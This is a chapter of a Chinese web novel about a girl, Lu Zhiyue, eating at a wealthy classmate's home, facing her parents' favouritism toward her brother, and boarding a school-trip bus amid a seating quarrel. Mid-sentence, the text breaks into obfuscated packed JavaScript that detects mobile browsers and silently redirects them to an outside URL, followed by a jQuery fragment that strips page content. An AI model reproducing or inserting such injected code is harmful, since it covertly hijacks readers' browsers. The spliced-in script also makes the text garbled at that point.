路枝月怀疑自己听错了:“你说什么?”
云千安手心冒冷汗,他知道自己又说错了话,但他强装镇定,一本正经道:“我的房间里东西最多,既然来了,就参观参观吧。”
话都没说完,云千安便起身走到沙发后面,打开了自己卧室的门,气定神闲地做出邀请的手势。
路枝月看了他一眼,只觉得时间太过漫长。
她本想起身,随意走到卧室门前看一眼应付应付,王姨的声音就在这空旷的客厅一角响起。
“吃饭了!”
路枝月像是看到了救星,立马回应:“来了。”
云千安失落地关上卧室的门,带着路枝月走上阳台。
说是阳台,路枝月倒觉得像露台,还是那个字,空间太大了。
露台上空空如也,只是藏了一道玻璃门,玻璃门里是厨房的真面目。
厨具家电应有尽有,常见的家电就不说了,他家里竟然还有咖啡机,说实话,路枝月只在饮品店里见过咖啡机。毕竟,她认识的大人都在为生计忙碌,没人会为了闲情逸致在家里摆咖啡机的。
是她见识短浅了。
王姨给她准备好碗筷,又细心地把椅子拉到适当的距离,才让她入座。
陈叔应该就是云千安口中的大厨,他的身边还有几名戴着厨师帽的人,像是给他打下手的。
路枝月面前的餐桌离真正开火的灶台,大概有六米,她没看清陈叔的脸,只能看到他忙碌的背影。
云千安拿起筷子,夹起虾尾送到她碗里:“也不知道你爱吃什么,我也没想起来问,等你下次来,我一定让陈叔他们给你准备你爱吃的。”
他这么热情,路枝月倒有些不好意思。
“谢谢你请我吃饭。”
路枝月吃下他夹给她的虾尾,看了看桌上的菜,也都是家常菜,只是做法比较偏酒楼风格。
她也确实饿了,所以没有顾虑,大口大口炫着饭菜。
云千安听到她说谢谢他,很开心,却没有表露出来,只是压下唇角,一边吃一边偷看她。
不多会儿,他们就吃好了饭,云千安也没理由再留她,所以决定送她回家。
路枝月坚持要坐公交回家,云千安也只能止步公交站台。
但他也不是没有收获,至少路枝月上车的时候,跟他说了再见。
云千安心满意足,望着七路公交车的影子久久不能回神。
*
路枝月回到家时,已经是下午三点,路轩半躺在沙发上,茶几堆满了零食和外卖。
看到她回来,路轩没责备她,只是安静地玩着手机游戏。
路枝月径直回了房间,放下书包,换上一身清爽合身的休闲服,坐在书桌前看书。
说起来,这张书桌,还是路轩不要的,桌面上有许多划痕,偶尔还会有木屑掉落。
但路轩这个人没有恃宠而骄,他知道父母偏心他,却从没拿父母的偏爱故意刺激过她。
她和路轩住在同一屋檐下,但很少说话,路轩和她并不亲,没有过多心疼她,也没有贬低她。
相敬如宾,倒也挺好。
学校组织夏游,都会在家长群里通知,路枝月也不用特意跟父母报备,反正他们也不会多给她钱花。
路枝月跟父母也没什么话题,他们能说的无非是路枝月学校里的安排,和路轩个人的那点事儿,关心路枝月的言论很少。
路枝月摊开书本,认真地看书学习,没再管别的东西。
*
时间一晃到了晚上,路枝月的父母也回家了,他们带着从饭店里打包回来的剩菜,在客厅里喊道:“小轩月月,我们回来了,出来吃饭吧。”
路枝月放下书本,从房间里走出来,正好看到父亲高兴地从包里掏出玩具飞机模型给弟弟。
路轩龇着大牙直乐,开心地把玩着飞机模型。
父亲在看到路枝月的瞬间,脸上的笑容也收敛了几分,不紧不慢地从包里掏出一个绿色发箍,放在餐桌上。
母亲在厨房里热着打包带回来的剩菜,回头看到绿色发箍说了一句:“你弟弟吵着要玩具,我们买玩具的地摊旁边有便宜的发箍,想着你之前一直想买,你爸爸就给你买了。”
路枝月什么也没说,安静地走到餐桌前坐下,拿起绿色发箍:“谢谢爸爸。”
父亲没说什么,而是转头继续和路轩玩闹。
路枝月看着手里的绿色发箍,心里失落了一阵,但也还好。
失落在,她说喜欢发箍是五年前的事儿了,可她的父母现在才想起来买,但弟弟的玩具已经堆积成山。
可是她又有些习惯了,至少他们还能想起来有她这个人,路枝月的吃穿用度都是他们在解决,她又有什么资格索要额外的东西呢?
或许她是个懂事的小孩,但她不这么认为。
可怕的不是父母一碗水端不平,可怕的是她讨厌他们偏心的同时,又理解他们身为大人的难处。
她的心里很矛盾,一面痛恨他们的虚伪,一面又渴望得到他们的爱。
人心很复杂,无论大人或是小孩。
母亲把菜热好端上桌,一家人乍一看很温馨,但只有路枝月能感受到,她像个格格不入的外人。
他们关心路轩在学校里过得开不开心,却不问问她。哪怕在班级群里知道了,明天她要去参加夏游,也只是简单问了一句。
父母当着她的面,掏出的两百块钱全给了弟弟,只因为弟弟说,他想买一套教材,但钱不够。
八百块的零花钱不够他花,父母没责怪他,反倒对于他主动求学而感到开心。
路枝月三下五除二把碗里的饭吃完,便静悄悄地回了房间,没人注意到她失落的眼神。
路枝月长叹了一口气,把门反锁,身体失重般倒在床上,还用被子捂住了耳朵,想要屏蔽外面的欢声笑语。
她仿佛下了某种决心,她要搬出去住。
*
第二天,路枝月穿好校服,书包里装了几个馒头就出了门。
到了教室,班主任撂下让他们自习的话,就着急忙慌走了。
陈娇告诉她,李老师是为了给九班抢校车,所以排队去了。
学校里校车不够,原本打算安排高一和高二的先走,但校车只能勉强拉下全部高一和部分高二的学生。
为了公平,高二总的十个班不再按顺序上校车,而是看各班班主任能不能抢到最后几辆校车。
至于没抢到校车的高二班级,校领导会择期再安排他们去,但计划赶不上变化,万一择期变无期了呢。
毕竟高三的学生们学习紧张,校领导可能会把他们排除在夏游外,以后再找机会给他们补上。
路枝月和陈娇原本只是说得上几句话,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487174|202077||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
还达不到无话不谈的关系,可陈娇今天也不知道怎么了,一直在跟她搭话,还很兴奋。
陈娇今天没穿校服,而是穿了浅绿色的碎花裙,扎着高马尾,头发像是精心打理过的,嘴唇上也涂了一层淡淡的裸色口红。
陈娇出落得亭亭玉立,脸有些圆,长相是邻家温柔女孩那一类,现在打扮起来很是可爱。
路枝月只是埋头练题,偶尔回应她两句,陈娇都一个劲夸她。
“你居然理我了,路枝月你变了。”
“待会儿上了校车,我还想跟你坐一起,我觉得我们俩绝配。”
“怎么你出去玩也不打扮一下?”
“不过,你不打扮也很漂亮,我什么时候能像你这么随意就好了。”
陈娇眼睛亮晶晶地盯着她看,她的脸像洋娃娃一样精致,螓首蛾眉,仙姿佚貌,这个世上怎么能有这么好看的女孩?
陈娇对她的称赞,实在有些夸张,路枝月难为情地笑笑,不知道该怎么回答她。
此时,李老师也抢到了校车,回到教室里让大家准备下楼。
路枝月连忙起身收拾东西,陈娇的眼睛像是装了定位器一样,路枝月在哪,她的目光就在哪。
很快,他们就下了楼,上了校车坐好。
陈娇刚想坐她旁边,就被人抢了先。
曲念笑容温和,亲切地看向陈娇:“今天就委屈你找别的位置坐,你是她同桌,能天天近距离接触她,现在就让我一次,我想坐在路枝月旁边。”
陈娇扬起姨母笑,没有生气,脸上浮现出一副“我懂了”的表情,坐在了路枝月后面的位置。
云千安后脚上的校车,在看到路枝月身边坐着的人是曲念后,当即走上前去。
“这个位置是我的。”
九班大多数同学已经上车坐好,在嗅到一丝剑拔弩张的味道后,起哄似的发出欢呼声。
所有人目光齐齐落在三人身上。
路枝月听到同学们起哄,羞愤地低下了头。
曲念笑容尽失,从位置上站起来,挑衅道:“先来后到,你找别的位置吧。”
云千安眉头一挑,直接动手推开了曲念,一屁股坐在了路枝月身边的座位上。
他摊了摊手:“你说得对,谁先坐下就是谁的。”
曲念恼怒地盯着云千安,刚想走上前去抢位置,路枝月就从位子上站起来了。
“你喜欢坐这,那我走。”
云千安想伸手拦她,李老师就来了。
李老师不清楚发生了什么,只知道刚才抢这辆校车很不容易,她想赶紧走,不想再看到那群拽她袖子不让她上车的老师。
她心里很烦闷,又看到曲念一个人站在走道上,不耐烦道:“曲念快找个位置坐好,师傅要开车了。”
曲念看了看路枝月,又迫于李老师的威压,只能拿上自己的书包,悻悻走到后排坐下。
路枝月刚想从云千安腿上迈出去,就听到李老师略有些生气地说:“没坐好的同学快坐好,想换位置的也忍一忍,再不走晚上我们就赶不回学校了。”
李老师话都没说完,就对司机师傅做出发车的手势,往后排空座去。
车辆启动,路枝月身体失衡,跌坐回座位上。
云千安则从书包里拿出一瓶矿泉水,递到路枝月身前。
路枝月瞥了一眼矿泉水,没理他。